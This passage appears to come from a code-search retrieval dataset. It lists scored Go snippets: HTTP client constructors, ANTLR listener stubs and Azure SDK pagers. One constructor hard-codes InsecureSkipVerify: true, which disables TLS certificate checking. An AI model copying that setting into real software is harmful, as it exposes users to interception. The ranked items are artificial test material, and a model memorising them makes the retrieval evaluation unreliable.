{\n\t\tlog.Print(err)\n\t\tos.Exit(1)\n\t}\n\n\treturn &Client{\n\t\tconfig: config,\n\t\thttpClient: http.Client{\n\t\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\t\treturn http.ErrUseLastResponse\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "680112355f7eb51236f2a206e251661c", "score": "0.5341841", "text": "func NewClient() *Client {\n\treturn &Client{\n\t\t&http.Client{\n\t\t\tTimeout: time.Minute,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "35534a24a4412b27feedd6ed48866cb8", "score": "0.53395575", "text": "func NewClient() *http.Client {\n\treturn &http.Client{\n\t\tTimeout: clientTimeout,\n\t\tTransport: &http.Transport{\n\t\t\tTLSHandshakeTimeout: tlsHandshakeTimeout,\n\t\t\tDialContext: (&net.Dialer{\n\t\t\t\tTimeout: dialTimeout,\n\t\t\t}).DialContext,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "b28b102ec4c17e2acb3f72904f8a0ba6", "score": "0.5334558", "text": "func newClient(conn *websocket.Conn, r *room) *client {\n\treturn newClientWithOptions(conn, r, defaultClientOptions)\n}", "title": "" }, { "docid": "92bb03b5516abcd53b9f8f52f6364b64", "score": "0.5329129", "text": "func newHTTPClient(config *ConnConfig) (*http.Client, error) {\n\t// Set proxy function if there is a proxy configured.\n\tvar proxyFunc func(*http.Request) (*url.URL, error)\n\tif config.Proxy != \"\" {\n\t\tproxyURL, err := url.Parse(config.Proxy)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tproxyFunc = http.ProxyURL(proxyURL)\n\t}\n\n\t// Configure TLS if needed.\n\tvar tlsConfig *tls.Config\n\tif !config.DisableTLS {\n\t\tif len(config.Certificates) > 0 {\n\t\t\tpool := x509.NewCertPool()\n\t\t\tpool.AppendCertsFromPEM(config.Certificates)\n\t\t\ttlsConfig = &tls.Config{\n\t\t\t\tRootCAs: pool,\n\t\t\t}\n\t\t}\n\t}\n\n\tclient := http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tProxy: proxyFunc,\n\t\t\tTLSClientConfig: tlsConfig,\n\t\t},\n\t}\n\n\treturn &client, nil\n}", "title": "" }, { "docid": "affcc3f33c883b9c8c5c11d9929a6131", "score": "0.5324516", "text": "func NewClient() *Client {\n\treturn &Client{\n\t\t&http.Client{},\n\t}\n}", "title": "" }, { "docid": "75e88dd9402576ce33b3e24324b692b5", "score": "0.532448", "text": "func NewClient(httpClient *http.Client) *Client {\n\tif httpClient == nil {\n\t\thttpClient = http.DefaultClient\n\t}\n\treturn &Client{\n\t\tclient: httpClient,\n\t\tWebFistServer: webFistDefaultServer,\n\t}\n}", "title": "" }, { "docid": "e5b4e6b2834da76d907e0d2051bc8bcf", "score": "0.5323185", "text": "func NewClient(http *http.Client, Key string, PageSize int) *Client {\n\tif PageSize > 100 {\n\t\tPageSize = 100\n\t}\n\treturn &Client{\n\t\thttp: http,\n\t\tKey: Key,\n\t\tPageSize: PageSize,\n\t}\n}", "title": "" }, { "docid": "e1413c91feb250f349c67891ce93a935", "score": "0.53217113", "text": "func New(client *http.Client, clientID string) Client {\n\treturn Client{client, clientID, \"https://gql.twitch.tv/gql\", \"http://usher.twitch.tv/\"}\n}", "title": "" }, { "docid": "6cde4e7e6d9ab0b412c6beb485c4985f", "score": "0.5319023", "text": "func newHTTPClient(cfg *podcfg.Config) (client *http.Client, e error) {\n\t// Configure proxy if needed.\n\tvar dial func(network, addr string) (net.Conn, error)\n\tif *cfg.Proxy != \"\" {\n\t\tproxy := &socks.Proxy{\n\t\t\tAddr: *cfg.Proxy,\n\t\t\tUsername: *cfg.ProxyUser,\n\t\t\tPassword: *cfg.ProxyPass,\n\t\t}\n\t\tdial = func(network, addr string) (c net.Conn, e error) {\n\t\t\tif c, e = proxy.Dial(network, addr); E.Chk(e) {\n\t\t\t\treturn nil, e\n\t\t\t}\n\t\t\treturn c, nil\n\t\t}\n\t}\n\t// Configure TLS if needed.\n\tvar tlsConfig *tls.Config\n\tif *cfg.TLS && *cfg.RPCCert != \"\" {\n\t\tvar pem []byte\n\t\tif pem, e = ioutil.ReadFile(*cfg.RPCCert); E.Chk(e) {\n\t\t\treturn nil, e\n\t\t}\n\t\tpool := x509.NewCertPool()\n\t\tpool.AppendCertsFromPEM(pem)\n\t\ttlsConfig = &tls.Config{\n\t\t\tRootCAs: pool,\n\t\t\tInsecureSkipVerify: *cfg.TLSSkipVerify,\n\t\t}\n\t}\n\t// Create and return the new HTTP client potentially configured with a proxy and TLS.\n\tclient = &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tDial: dial,\n\t\t\tTLSClientConfig: tlsConfig,\n\t\t},\n\t}\n\treturn\n}", "title": "" }, { "docid": "7ac95330122843eda6f31c70120e8485", "score": "0.5310739", "text": "func NewClient(url string) *Client {\n\treturn &Client{\n\t\turl: url,\n\t\tclient: &http.Client{\n\t\t\tTimeout: time.Second * 10,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "1512c913d03c699ad96a9034bdc40f4a", "score": "0.5308621", "text": "func newBlobClient(url url.URL, p pipeline.Pipeline) blobClient {\n\treturn blobClient{newManagementClient(url, p)}\n}", "title": "" }, { "docid": "d1b4b9465374156ee17cfb87e7a889ff", "score": "0.5301646", "text": "func NewDataformClient(cc grpc.ClientConnInterface) DataformClient { return src.NewDataformClient(cc) }", "title": "" }, { "docid": "4e959a0656c3cbddcd73785057fd53bc", "score": "0.5298704", "text": "func NewClient(httpClient *http.Client) *Client {\n\tif httpClient == nil {\n\t\thttpClient = http.DefaultClient\n\t}\n\n\tbaseURL, err := url.Parse(defaultBaseURL)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tc := &Client{\n\t\tBaseURL: baseURL,\n\t\tClient: httpClient,\n\t}\n\n\tc.Apps = &AppsService{client: c}\n\tc.Players = &PlayersService{client: c}\n\tc.Notifications = &NotificationsService{client: c}\n\n\treturn c\n}", "title": "" }, { "docid": "3dd517d64c9048d170d36d3de395b23b", "score": "0.5297678", "text": "func NewHTTPClient(uri string) HTTPClient {\n\treturn HTTPClient{\n\t\tBackendURI: uri,\n\t\tclient: &http.Client{},\n\t}\n}", "title": "" }, { "docid": "0571fb7c23a8efed0f1dd303541271ad", "score": "0.52937585", "text": "func NewClient() *Client {\n\treturn &Client{\n\t\tBaseURL: BaseURL,\n\t\tHTTPClient: &http.Client{\n\t\t\tTimeout: time.Minute,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "44c8c31066a20cba7ba6df78296cede6", "score": "0.52929", "text": "func NewClient(c *http.Client) *Client {\n\tif c == nil {\n\t\tc = http.DefaultClient\n\t}\n\n\treturn &Client{\n\t\tclient: c,\n\t}\n}", "title": "" }, { "docid": "d72903adc526464202707336e77ed24d", "score": "0.5292209", "text": "func newClient(ws *ws.Conn, server *Server) *client {\n\tmaxId++\n\tch := make(chan []string, channelBufSize)\n\tdoneCh := make(chan bool)\n\n\tfilters := make(map[int][]string)\n\tfor k, v := range ws.Request().URL.Query() {\n\t\tif k == \"fields\" {\n\t\t\t// This is to select specific fields\n\t\t\t// For now skip\n\t\t\tcontinue\n\t\t}\n\t\tfieldId, err := getFieldIdInReturn(k, server.cfg)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfilters[fieldId] = v\n\t}\n\n\treturn &client{\n\t\tid: maxId,\n\t\tws: ws,\n\t\tserver: server,\n\t\tfilters: filters,\n\t\tch: ch,\n\t\tdoneCh: doneCh,\n\t}\n}", "title": "" }, { "docid": "b6811e82ddb4a3a24b3a1d0aa43d9053", "score": "0.5277987", "text": "func NewClient() *Client {\n\tcli := Client{\n\t\tHttpClient: &http.Client{\n\t\t\tTimeout: 5 * time.Second,\n\t\t},\n\t}\n\n\treturn &cli\n}", "title": "" }, { "docid": "fef8361d40c3ba1cfd764fe8853d80c6", "score": "0.52754474", "text": "func NewClient(c *http.Client) *Client {\n\tif c == nil {\n\t\tc = http.DefaultClient\n\t}\n\n\treturn &Client{client: c}\n}", "title": "" }, { "docid": "01177a35f2dc964403655b117486aefb", "score": "0.52722543", "text": "func NewClient(ws *websocket.Conn, server *Server, userid string) *Client {\n\n\tif ws == nil {\n\t\tpanic(\"ws cannot be nil\")\n\t}\n\n\tif server == nil {\n\t\tpanic(\"server cannot be nil\")\n\t}\n\n\tmaxId++\n\tch := make(chan *Event, channelBufSize)\n\tdoneCh := make(chan bool)\n\n\treturn &Client{maxId, ws, server, ch, doneCh, userid}\n}", "title": "" }, { "docid": "adb5c85479d76389f562ce21abe0b575", "score": "0.5270237", "text": "func NewClient(client HTTPClient) *Client {\n\treturn &Client{client}\n}", "title": "" }, { "docid": "f415cbc3a3a19cc9c05fed0227e64326", "score": "0.5268206", "text": "func NewHTTPClient() *http.Client {\n\tjar, _ := cookiejar.New(nil) // nolint\n\treturn &http.Client{\n\t\tTimeout: defaultClientTimeout,\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{\n\t\t\t\tInsecureSkipVerify: true, // nolint\n\t\t\t},\n\t\t},\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t\tJar: jar,\n\t}\n}", "title": "" }, { "docid": "873e57554b5526dd4c1b16027dbdc0f4", "score": "0.52606416", "text": "func NewClient(httpClient http.Client, baseURL url.URL) Client {\n\treturn Client{httpClient: httpClient, baseURL: baseURL}\n}", "title": "" }, { "docid": "d56f6f8ea91ab496b43dc7e6c0203036", "score": "0.52594537", "text": "func NewClient() *http.Client {\n\treturn &http.Client{\n\t\tTransport: NewLoggerTransport(http.DefaultTransport),\n\t\tTimeout: 10 * time.Second,\n\t}\n}", "title": "" }, { "docid": "de1258b41a19055a66bd1a7881ae3498", "score": "0.5258764", "text": "func NewClient(c *http.Client) *Client {\n\treturn &Client{\n\t\tclient: c,\n\t\theaders: make(map[string]string),\n\t\tbaseURL: \"\",\n\t}\n}", "title": "" }, { "docid": "714e8bbb24e2e4e1a125f561cb51fe94", "score": "0.5247599", "text": "func NewHTTPClient(listenTCP, connectWS string) Runner {\n\treturn &httpClient{\n\t\tconnectWS: connectWS,\n\t\tlistenTCP: listenTCP,\n\t}\n}", "title": "" }, { "docid": "4546edd8fcbbdf63ff07445385a1ec3d", "score": "0.52445024", "text": "func NewClient(httpClient *http.Client) *client {\n\tif httpClient == nil {\n\t\thttpClient = http.DefaultClient\n\t}\n\treturn &client{\n\t\tendpoint: \"https://vintagemonster.onefootball.com/api/teams/en\",\n\t\thttpClient: httpClient,\n\t}\n}", "title": "" }, { "docid": "aecd99d460d42ecaaf89efcfae370e78", "score": "0.5244206", "text": "func NewClient() *Client {\n\tcli := &http.Client{\n\t\tTimeout: 15 * time.Second,\n\t}\n\treturn &Client{\n\t\tcli: cli,\n\t}\n}", "title": "" }, { "docid": "d4017f45b2557f708e5fc066f57c42a0", "score": "0.523142", "text": "func GetClient() *http.Client {\n\treturn getClientMux()\n}", "title": "" } ]
dade6e11ceb9f2727daca1c1fb9efae7
EnterReportGroupLineNumberNextPage is called when production reportGroupLineNumberNextPage is entered.
[ { "docid": "efadda650c63ecbd9f8bd255d7f74c96", "score": "0.91736263", "text": "func (s *BaseCobol85Listener) EnterReportGroupLineNumberNextPage(ctx *ReportGroupLineNumberNextPageContext) {\n}", "title": "" } ]
[ { "docid": "1e7b4a22e6973c772a3c680a44c90e09", "score": "0.81517684", "text": "func (s *BaseCobol85Listener) EnterReportGroupNextGroupNextPage(ctx *ReportGroupNextGroupNextPageContext) {\n}", "title": "" }, { "docid": "82e9a6ad280313b995794258e5c7e4d4", "score": "0.7751854", "text": "func (s *BaseCobol85Listener) ExitReportGroupLineNumberNextPage(ctx *ReportGroupLineNumberNextPageContext) {\n}", "title": "" }, { "docid": "6b56bd29742ccf1dde02fd8a2d172751", "score": "0.77256644", "text": "func (s *BaseCobol85Listener) EnterReportGroupLineNumberPlus(ctx *ReportGroupLineNumberPlusContext) {}", "title": "" }, { "docid": "7e2e8e4d8e407a3a4dcc44eb83d0f6bd", "score": "0.7537858", "text": "func (s *BaseCobol85Listener) EnterReportGroupLineNumberClause(ctx *ReportGroupLineNumberClauseContext) {\n}", "title": "" }, { "docid": "3b4fc88743a39ab3ae1dc27085fc1fb9", "score": "0.7351264", "text": "func (s *BaseCobol85Listener) EnterReportGroupNextGroupPlus(ctx *ReportGroupNextGroupPlusContext) {}", "title": "" }, { "docid": "74424b286fb046c55b7aaeb1006275f7", "score": "0.73201525", "text": "func (s *BaseCobol85Listener) EnterReportGroupNextGroupClause(ctx *ReportGroupNextGroupClauseContext) {\n}", "title": "" }, { "docid": "98ad736be14362ddf4e887c9fc9bc8d1", "score": "0.6379723", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypePageFooting(ctx *ReportGroupTypePageFootingContext) {\n}", "title": "" }, { "docid": "e67eb109d91f152f72f9f8458bcdbfe7", "score": "0.6234832", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypePageHeading(ctx *ReportGroupTypePageHeadingContext) {\n}", "title": "" }, { "docid": "49328e307499ed0605171ad53469689d", "score": "0.6197652", "text": "func (s *BaseCobol85Listener) EnterReportGroupColumnNumberClause(ctx *ReportGroupColumnNumberClauseContext) {\n}", "title": "" }, { "docid": "3d13f76537839449c37dc62a700f2acf", "score": "0.6142626", "text": "func (s *BaseCobol85Listener) ExitReportGroupLineNumberPlus(ctx *ReportGroupLineNumberPlusContext) {}", "title": "" }, { "docid": "b5928bd3d748ea0b62cf829f4f3d0fa0", "score": "0.61033845", "text": "func (s *BaseCobol85Listener) ExitReportGroupNextGroupNextPage(ctx *ReportGroupNextGroupNextPageContext) {\n}", "title": "" }, { "docid": "5a96b40d690b64f3edb12c72c3f6d8ea", "score": "0.61011267", "text": "func (s *BaseCobol85Listener) EnterReportGroupIndicateClause(ctx *ReportGroupIndicateClauseContext) {}", "title": "" }, { "docid": "b8860329b19500eca3823512d2ae7476", "score": "0.5984041", "text": "func (s *BaseCobol85Listener) EnterLinageLinesAtTop(ctx *LinageLinesAtTopContext) {}", "title": "" }, { "docid": "1383a9a4fa161ead46cae53e6e3c3bda", "score": "0.59688413", "text": "func (s *BaseCobol85Listener) EnterReportSection(ctx *ReportSectionContext) {}", "title": "" }, { "docid": "03bd2a7c5cb067598c05dd1cbffc1cc3", "score": "0.5938831", "text": "func (s *BaseCobol85Listener) EnterLinageClause(ctx *LinageClauseContext) {}", "title": "" }, { "docid": "bb828efd214854923a32babacb9eef61", "score": "0.59324276", "text": "func (s *BaseCobol85Listener) EnterReportGroupSumClause(ctx *ReportGroupSumClauseContext) {}", "title": "" }, { "docid": "c61b01d88b2cce839b8d4468a796b53e", "score": "0.59275264", "text": "func (s *BaseCobol85Listener) EnterReportGroupSourceClause(ctx *ReportGroupSourceClauseContext) {}", "title": "" }, { "docid": "8e51f6f6d69c2ba29db23dd24273a9ea", "score": "0.5927173", "text": "func (s *BaseCobol85Listener) EnterReportGroupResetClause(ctx *ReportGroupResetClauseContext) {}", "title": "" }, { "docid": "ccfd823d8002cc149b44a3722a4adcd8", "score": "0.59231675", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypeReportFooting(ctx *ReportGroupTypeReportFootingContext) {\n}", "title": "" }, { "docid": "1e88b967d2276366899a194322b8c885", "score": "0.59141135", "text": "func (s *BaseCobol85Listener) EnterLinageLinesAtBottom(ctx *LinageLinesAtBottomContext) {}", "title": "" }, { "docid": "48aaf258818511c071a6168943716067", "score": "0.5840226", "text": "func (s *BaseCobol85Listener) EnterReportGroupDescriptionEntry(ctx *ReportGroupDescriptionEntryContext) {\n}", "title": "" }, { "docid": "7b74c0a4fb9bd8e4e4f26bb752b6b71d", "score": "0.5730236", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypeReportHeading(ctx *ReportGroupTypeReportHeadingContext) {\n}", "title": "" }, { "docid": "18940f8a8d623f6d73534b77d839255e", "score": "0.5694228", "text": "func (s *BaseCobol85Listener) EnterReportDescriptionPageLimitClause(ctx *ReportDescriptionPageLimitClauseContext) {\n}", "title": "" }, { "docid": "415ce3da2935c2298cf74eff97b6f430", "score": "0.5684726", "text": "func (s *BaseCobol85Listener) EnterReportGroupSignClause(ctx *ReportGroupSignClauseContext) {}", "title": "" }, { "docid": "1594539725ecea3e3dfca0635f74588d", "score": "0.5677127", "text": "func (s *BaseCobol85Listener) EnterReportGroupPictureClause(ctx *ReportGroupPictureClauseContext) {}", "title": "" }, { "docid": "39a66c454a0783799ad6e8f04c094f52", "score": "0.5660817", "text": "func (s *BaseCobol85Listener) EnterReportGroupUsageClause(ctx *ReportGroupUsageClauseContext) {}", "title": "" }, { "docid": "f5de44bf763cf93b0a520bc174c7d4f5", "score": "0.56574315", "text": "func (s *BaseCobol85Listener) ExitReportGroupLineNumberClause(ctx *ReportGroupLineNumberClauseContext) {\n}", "title": "" }, { "docid": "f068da9b01338f1b28229f12657db764", "score": "0.56406695", "text": "func (s *BaseCobol85Listener) EnterReportGroupValueClause(ctx *ReportGroupValueClauseContext) {}", "title": "" }, { "docid": "9b1edb2e5159c69adadd9f0ccbff817f", "score": "0.5531593", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypeControlFooting(ctx *ReportGroupTypeControlFootingContext) {\n}", "title": "" }, { "docid": "50302d1ae4eefbbe49b7af4527792a6f", "score": "0.5527137", "text": "func (s *BasedatabankListener) EnterDateline(ctx *DatelineContext) {}", "title": "" }, { "docid": "6640fe1444123e69e040501c2a506787", "score": "0.5503395", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypeDetail(ctx *ReportGroupTypeDetailContext) {}", "title": "" }, { "docid": "a4a6d3d122c64bf8b70ec9e343477b99", "score": "0.5486314", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypeControlHeading(ctx *ReportGroupTypeControlHeadingContext) {\n}", "title": "" }, { "docid": "fbf91c848f37f898f29dab862dcfce0b", "score": "0.5398879", "text": "func (s *BaseJavaScriptParserListener) EnterPreIncrementExpression(ctx *PreIncrementExpressionContext) {\n}", "title": "" }, { "docid": "47fa0b76aee0ccbbc464a1c40cdc6689", "score": "0.5367967", "text": "func (s *BaseCobol85Listener) EnterReportGroupTypeClause(ctx *ReportGroupTypeClauseContext) {}", "title": "" }, { "docid": "bdbb842e007c48e165c313919ce96e87", "score": "0.5354678", "text": "func (s *BaseShellListener) EnterLine(ctx *LineContext) {}", "title": "" }, { "docid": "2d40678c2230b4d2d03670522259891a", "score": "0.534683", "text": "func (s *BaseCobol85Listener) EnterLinageAt(ctx *LinageAtContext) {}", "title": "" }, { "docid": "675ee24d68b810824d56c5838ede7547", "score": "0.5300466", "text": "func (s *BaseSHARCParserListener) EnterR15_12(ctx *R15_12Context) {}", "title": "" }, { "docid": "6e01e3fe0d41f5dcc74be8125af34876", "score": "0.5287791", "text": "func (s *BaseCobol85Listener) EnterReportClause(ctx *ReportClauseContext) {}", "title": "" }, { "docid": "daa6925df1c94bd88927e32dd79bca3d", "score": "0.52287644", "text": "func (s *BaseJavaScriptParserListener) EnterPostIncrementExpression(ctx *PostIncrementExpressionContext) {\n}", "title": "" }, { "docid": "2d3ae70b89607f5ac0ba2b8c0a3bf736", "score": "0.522717", "text": "func (pl *PMMPostParseListener) EnterExprgroup(ctx *grammar.ExprgroupContext) {\n\tgroupscope, _ := corelang.Begingroup(pl.rt, \"expr-group\")\n\tpl.annotate(ctx, groupscope, \"\") // Annotate the AST node with this scope\n}", "title": "" }, { "docid": "18d10f78dc606b2d2995c48bad64cf3c", "score": "0.5225274", "text": "func (s *BasePROV_NListener) EnterStartExpression(ctx *StartExpressionContext) {}", "title": "" }, { "docid": "1d6b8451b83d836a6efc829be1775243", "score": "0.52237725", "text": "func (s *BaseCobol85Listener) EnterWriteAtEndOfPagePhrase(ctx *WriteAtEndOfPagePhraseContext) {}", "title": "" }, { "docid": "aa32e6faae39ff532318e9395f90cd32", "score": "0.5210792", "text": "func (s *BasePROV_NListener) EnterGenerationExpression(ctx *GenerationExpressionContext) {}", "title": "" }, { "docid": "b66df5617e3d797b43882203126e81b6", "score": "0.52106297", "text": "func (p *AlertsListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.AlertList.NextLink == nil || len(*p.current.AlertList.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = p.client.listByResourceGroupHandleError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "ad36170949ade73699714a0f3f4f8ffb", "score": "0.5196697", "text": "func (s *BaseCobol85Listener) EnterReportGroupDescriptionEntryFormat1(ctx *ReportGroupDescriptionEntryFormat1Context) {\n}", "title": "" }, { "docid": "f39e30b57941dacd0912f730f7c759ad", "score": "0.518102", "text": "func (s *BaseExpressionListener) EnterNumber(ctx *NumberContext) {}", "title": "" }, { "docid": "615d49413f8c38a39934901e64c91888", "score": "0.5157698", "text": "func (s *BaseFqlParserListener) EnterCollectGrouping(ctx *CollectGroupingContext) {}", "title": "" }, { "docid": "eaa55ca073c551505dd11259743314cb", "score": "0.51525056", "text": "func (s *BaseXPath31Listener) EnterPathexpr(ctx *PathexprContext) {}", "title": "" }, { "docid": "15ebb803d3f18d0fd55ddf0b985739b0", "score": "0.5150869", "text": "func (s *BaseCobol85Listener) EnterReportName(ctx *ReportNameContext) {}", "title": "" }, { "docid": "d93a981a5cf3feb0b688b1e7807c1dd1", "score": "0.51445377", "text": "func (s *BasePainlessParserListener) EnterBreak(ctx *BreakContext) {}", "title": "" }, { "docid": "7bc83e08b8461c5e887d5432d855e128", "score": "0.5143839", "text": "func (s *BaseSHARCParserListener) EnterFlow_control_13(ctx *Flow_control_13Context) {}", "title": "" }, { "docid": "9121c35f619ad678536b794325e75d88", "score": "0.5118334", "text": "func (p *CustomAssessmentAutomationsListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.CustomAssessmentAutomationsListResult.NextLink == nil || len(*p.current.CustomAssessmentAutomationsListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = p.client.listByResourceGroupHandleError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "4d1df1dc8303c2fc651c34b03695cd45", "score": "0.51075935", "text": "func (l *listener) EnterGroupByKey(ctx *grammar.GroupByKeyContext) {\n\tif l.stmt != nil {\n\t\tl.stmt.visitGroupByKey(ctx)\n\t}\n}", "title": "" }, { "docid": "ddb690342de65f82810b7d31880be104", "score": "0.50757676", "text": "func (s *BaseCobol85Listener) EnterSendAdvancingPage(ctx *SendAdvancingPageContext) {}", "title": "" }, { "docid": "8d5c2dece703c28479084cd8a28a3fb1", "score": "0.50656396", "text": "func (s *BaseCalcListener) EnterNumber(ctx *NumberContext) {}", "title": "" }, { "docid": "94b2e0f45ab3195ea8ceadac0c6ea85d", "score": "0.50604314", "text": "func (s *BasePROV_NListener) EnterEndExpression(ctx *EndExpressionContext) {}", "title": "" }, { "docid": "a4583bf6011b2f942fc044e2354abd51", "score": "0.5060025", "text": "func (s *BaseSHARCParserListener) EnterFlow_control_12(ctx *Flow_control_12Context) {}", "title": "" }, { "docid": "e54c68e6165ba3f48a2dcb89670f8efb", "score": "0.505762", "text": "func (s *BaseXPath31Listener) EnterRelativepathexpr(ctx *RelativepathexprContext) {}", "title": "" }, { "docid": "743f2c60fe5c3bce61d30bb9e858f219", "score": "0.5053925", "text": "func (p *GroupsClientListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.GroupListResult.NextLink == nil || len(*p.current.GroupListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = runtime.NewResponseError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "3eb1ff5f532c71b58aabdb3319ae2070", "score": "0.5047189", "text": "func (p *ServerGroupsClientListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.ServerGroupListResult.NextLink == nil || len(*p.current.ServerGroupListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = runtime.NewResponseError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "a70ee20e863c4b833764bd1179be182f", "score": "0.50447595", "text": "func (s *BaseCobol85Listener) ExitReportGroupNextGroupPlus(ctx *ReportGroupNextGroupPlusContext) {}", "title": "" }, { "docid": "1bbee882681794d3144e6cfe6dbe385a", "score": "0.5039828", "text": "func (s *BaseCobol85Listener) EnterReportDescriptionEntry(ctx *ReportDescriptionEntryContext) {}", "title": "" }, { "docid": "df38ff6f9c2aba622625534348caa6d8", "score": "0.5034608", "text": "func (s *BasedatabankListener) EnterNumber(ctx *NumberContext) {}", "title": "" }, { "docid": "6356cf7bed583c649d04c981fb48c4b6", "score": "0.5032146", "text": "func (s *BaseSHARCParserListener) EnterMrb(ctx *MrbContext) {}", "title": "" }, { "docid": "39f3eba2938e81bfaf2e9d724cd7f6d0", "score": "0.50272113", "text": "func (p *SQLVirtualMachinesClientListBySQLVMGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.ListResult.NextLink == nil || len(*p.current.ListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = runtime.NewResponseError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listBySQLVMGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "601394ef5180de6de019da66edb15c9d", "score": "0.50266266", "text": "func (s *BasePROV_NListener) EnterExpression(ctx *ExpressionContext) {}", "title": "" }, { "docid": "026c2d856bd9444aa4b9b98490fce36f", "score": "0.50170356", "text": "func (s *BasehttpListener) EnterStart_line(ctx *Start_lineContext) {}", "title": "" }, { "docid": "0604ccf883b1387e1a0172169b2b5208", "score": "0.501223", "text": "func (s *BaseCobol85Listener) EnterReportGroupDescriptionEntryFormat2(ctx *ReportGroupDescriptionEntryFormat2Context) {\n}", "title": "" }, { "docid": "006d67af8308a20e98aeeda4a1df6eb5", "score": "0.4997337", "text": "func (p *AlertsListResourceGroupLevelByRegionPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.AlertList.NextLink == nil || len(*p.current.AlertList.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = p.client.listResourceGroupLevelByRegionHandleError(resp)\n\t\treturn 